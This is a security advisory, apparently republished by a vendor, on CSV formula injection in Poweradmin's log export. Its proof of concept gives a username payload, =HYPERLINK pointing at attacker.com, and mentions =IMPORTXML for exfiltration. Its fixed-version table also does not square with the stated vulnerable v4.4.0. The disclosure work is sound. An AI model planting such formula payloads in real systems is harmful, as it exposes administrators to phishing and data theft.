GHSA-3h6h-67x3-cv5x
MEDIUMPoweradmin: CSV Injection in log export endpoints allows formula execution in spreadsheet applications
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
poweradmin/poweradmin🐘poweradmin/poweradminReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Description:
Summary
Poweradmin v4.4.0 is vulnerable to CSV Injection (Formula Injection) in its log export functionality. User-controlled data — specifically the username field — is written to exported CSV files without sanitizing formula trigger characters (=, +, -, @). When an administrator exports activity logs and opens the resulting CSV in a spreadsheet application (Microsoft Excel, LibreOffice Calc, Google Sheets), any formula stored in a username is executed by the application. This can be used for phishing attacks against administrators or data exfiltration.
Details
The vulnerability exists in all four log export controllers:
lib/Application/Controller/ListLogUsersController.php(lines 188, 194)lib/Application/Controller/ListLogZonesController.phplib/Application/Controller/ListLogGroupsController.phplib/Application/Controller/ListLogApiController.php
These controllers export database rows via fputcsv() without applying any formula injection countermeasures. The user column contains the username of the actor who performed the operation, and the username column (in user logs) contains the username of the affected account. Both fields are written verbatim to the CSV output.
A username such as =1+1 is written without CSV enclosure quotes (because it contains no commas or quotes), so spreadsheet applications treat it directly as a formula. A username containing commas or quotes (e.g. =HYPERLINK("http://attacker.com","Click here")) is enclosed in CSV quotes with internal quotes doubled, but spreadsheet applications still evaluate the cell value as a formula since it begins with =.
Additionally, PHP deprecation warnings are emitted directly into the HTTP response body before CSV headers, exposing internal file paths (e.g. /app/lib/Application/Controller/ListLogUsersController.php) — a secondary information disclosure issue (CWE-209). This also corrupts the CSV file when PHP error reporting is enabled.
PoC
Prerequisites: An account with user_add_new permission (administrator role).
Steps to reproduce:
- Log in as administrator.
- Navigate to Add User and create an account with:
- Username:
=HYPERLINK("http://attacker.com","Confirm Identity") - Any valid email and password
- Username:
- Log out, then log in with the newly created account to generate a log entry.
- Log back in as administrator.
- Navigate to
/users/logsand click Export CSV. - Open the downloaded CSV file in Microsoft Excel or LibreOffice Calc.
Result: Excel renders a clickable hyperlink labeled "Confirm Identity" pointing to http://attacker.com in the user column of the log entry. With the simpler username =1+1, the cell displays 2 instead of the literal text, confirming formula execution.
Confirmed on Poweradmin v4.4.0 (Docker image poweradmin/poweradmin:latest).
Impact
This is a CSV Injection vulnerability (CWE-1236). It affects any administrator who exports activity logs to CSV and opens the file in a spreadsheet application.
Attack scenarios:
- Phishing: A malicious actor with the ability to create user accounts sets a formula username that renders as a convincing link in the exported report, tricking a higher-privileged administrator into clicking it.
- Data exfiltration: Using
=IMPORTXML()in Google Sheets or similar, adjacent cell data (log contents) can be sent to an attacker-controlled server silently when the sheet is opened.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | poweradmin/poweradmin | all versions | 4.2.4 |
| 🐘Packagist | poweradmin/poweradmin | ≥ 4.3.0&&< 4.3.3 | 4.3.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poweradmin/poweradmin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update poweradmin/poweradmin to 4.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3h6h-67x3-cv5x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3h6h-67x3-cv5x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3h6h-67x3-cv5x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3h6h-67x3-cv5x in your dependencies?
O3 detects GHSA-3h6h-67x3-cv5x across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.